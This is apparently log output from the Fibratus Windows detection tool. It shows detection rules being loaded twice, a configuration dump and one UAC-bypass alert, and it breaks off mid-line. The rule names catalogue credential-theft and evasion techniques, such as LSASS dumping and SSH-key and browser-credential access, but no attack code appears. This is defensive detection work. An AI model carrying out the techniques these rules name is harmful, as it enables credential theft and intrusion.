level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T16:04:09+01:00 level=info msg=bootstrapping with pid 14164. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:04:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true content-type=>text/html enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-fileio=>true enable-audit-api=>true stack-enrichment=>true enable-threadpool=>false enable-thread=>true enable-registry=>true min-buffers=>16 enable-vamap=>true flush-interval=>1s buffer-size=>512 enable-mem=>false enable-image=>true enable-dns=>false enable-handle=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 max-age=>0 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ gzip-compression=>false index-name=>fibratus enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] trace-log=>false template-name=>fibratus timeout=>5s healthcheck-interval=>10s flush-period=>1s sniff=>false bulk-workers=>1 healthcheck-timeout=>5s] amqp=>[ durable=>false enabled=>false timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient vhost=>/ passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus] http=>[ endpoints=>[] enable-gzip=>false timeout=>5s enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-mmaps=>false skip-files=>false skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:04:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:04:12+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:04:32+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-11-21T16:06:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:06:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:06:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:07:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:07:38+01:00 level=info msg=loading rule from 